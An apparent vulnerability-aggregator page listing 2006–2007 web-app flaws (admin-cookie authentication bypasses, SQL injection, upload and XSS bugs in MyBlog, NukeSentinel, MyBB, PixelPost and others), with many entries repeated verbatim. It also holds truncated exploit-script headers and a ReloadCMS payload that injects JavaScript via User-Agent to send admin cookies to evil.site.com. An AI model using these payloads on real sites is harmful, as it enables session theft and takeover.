CVE-2007-3587

CVE-2007-3587 affects MyCMS 0.9.8 and earlier. The vulnerability allows remote attackers to gain privileges by exploiting the admin cookie parameter, demonstrated via a POST to admin/settings.php that injects PHP code into settings.inc, which can then be executed by requesting index.php. This des...

Authentication flaw

MyBlog 0.9.8 and earlier allows remote attackers to bypass authentication requirements via the admin cookie parameter to certain admin files, as demonstrated by admin/settings.php...

CVE-2007-2081

MyBlog 0.9.8 and earlier allows remote attackers to bypass authentication requirements via the admin cookie parameter to certain admin files, as demonstrated by admin/settings.php...

CVE-2007-2081

MyBlog 0.9.8 and earlier allows remote attackers to bypass authentication requirements via the admin cookie parameter to certain admin files, as demonstrated by admin/settings.php...

CVE-2007-2081

CVE-2007-2081 affects MyBlog 0.9.8 and earlier. The vulnerability is an authentication bypass where an attacker can bypass authentication by manipulating the admin cookie parameter to admin files (e.g., admin/settings.php). The provided sources consistently describe this as a remote-auth bypass a...

PunBB 1.2.14 Remote Code Execution Exploit

No description provided by source. !/usr/bin/php URL: http://www.acid-root.new.fr/ ----------------------------------------------------------------------- Usage: $argv0 -url -usr -pwd Options Params: -url For example http://victim.com/punBB/ -usr User account 1 post at least -pwd Password account...

Design/Logic Flaw

InoutMailingListManager 3.1 and earlier allows remote attackers to access certain restricted functionality, and upload and execute arbitrary PHP code, by setting an arbitrary admin cookie...

CVE-2007-2002

InoutMailingListManager 3.1 and earlier allows remote attackers to access certain restricted functionality, and upload and execute arbitrary PHP code, by setting an arbitrary admin cookie...

CVE-2007-2002

InoutMailingListManager 3.1 and earlier allows remote attackers to access certain restricted functionality, and upload and execute arbitrary PHP code, by setting an arbitrary admin cookie...

CVE-2007-2002

CVE-2007-2002 affects InoutMailingListManager before or up to version 3.1. The vulnerability arises when an arbitrary admin cookie is set, allowing remote attackers to access restricted functionality and to upload and execute arbitrary PHP code. This is the concrete root cause and impact describe...

Sql injection

SQL injection vulnerability in includes/nsbypass.php in NukeSentinel 2.5.05, 2.5.11, and other versions before 2.5.12 allows remote attackers to execute arbitrary SQL commands via an admin cookie...

CVE-2007-1171

SQL injection vulnerability in includes/nsbypass.php in NukeSentinel 2.5.05, 2.5.11, and other versions before 2.5.12 allows remote attackers to execute arbitrary SQL commands via an admin cookie...

CVE-2007-1171

SQL injection vulnerability in includes/nsbypass.php in NukeSentinel 2.5.05, 2.5.11, and other versions before 2.5.12 allows remote attackers to execute arbitrary SQL commands via an admin cookie...

CVE-2007-1171

CVE-2007-1171 is a SQL injection flaw in NukeSentinel

MTCMS multiple upload vulnerabilities

avatar upload vulnerability: upload any kind of file in: site.com/MTCMS-V2.2/?a=gallery&b=adddown and approuved or not it will be here : /uploads/pictures/ same thing for : add link /index.php?a=links&b=addlink xss permanent on Contact Us : message & title fields are vulnerable to an xss attack...

MyBulletinBoard (MyBB) 1.1.5 - 'CLIENT-IP' SQL Injection

!/usr/bin/php -q -d shortopentag=on ? echo "MyBulletinBoard MyBB = 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork, version specific: "Powered By MyBB" "2006 MyBB Group"\n\n"; / works...

PixelPost 1-5rc1-2 - Privilege Escalation

!/usr/bin/php -q -d shortopentag=on ? echo "Pixelpost = 1-5rc1-2 privilege escalation exploit\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "dork: pixelpost "RSS 2.0" "ATOM feed" "Valid xHTML / Valid CSS"\r\n\r\n"; / works with:...

Pixelpost <= 1-5rc1-2 Remote Privilege Escalation Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Pixelpost = 1-5rc1-2 privilege escalation exploit\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "dork: pixelpost "RSS 2.0" "ATOM feed" "Valid xHTML / Valid...

CVE-2006-2168

FileProtection Express 1.0.1 and earlier allows remote attackers to bypass authentication via a cookie with an Admin value of 1...

ReloadCMS 1.2.5 - Cross-Site Scripting Remote Code Execution

ReloadCMS 1.2.5 - Cross-Site Scripting Remote Code Execution nc target.host.com 80 GET /pathtoreloadcms/ HTTP/1.0 User-Agent: "window.open"http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL;window.close; Host: target.host.com Connection: Close So, when admin see site statistic...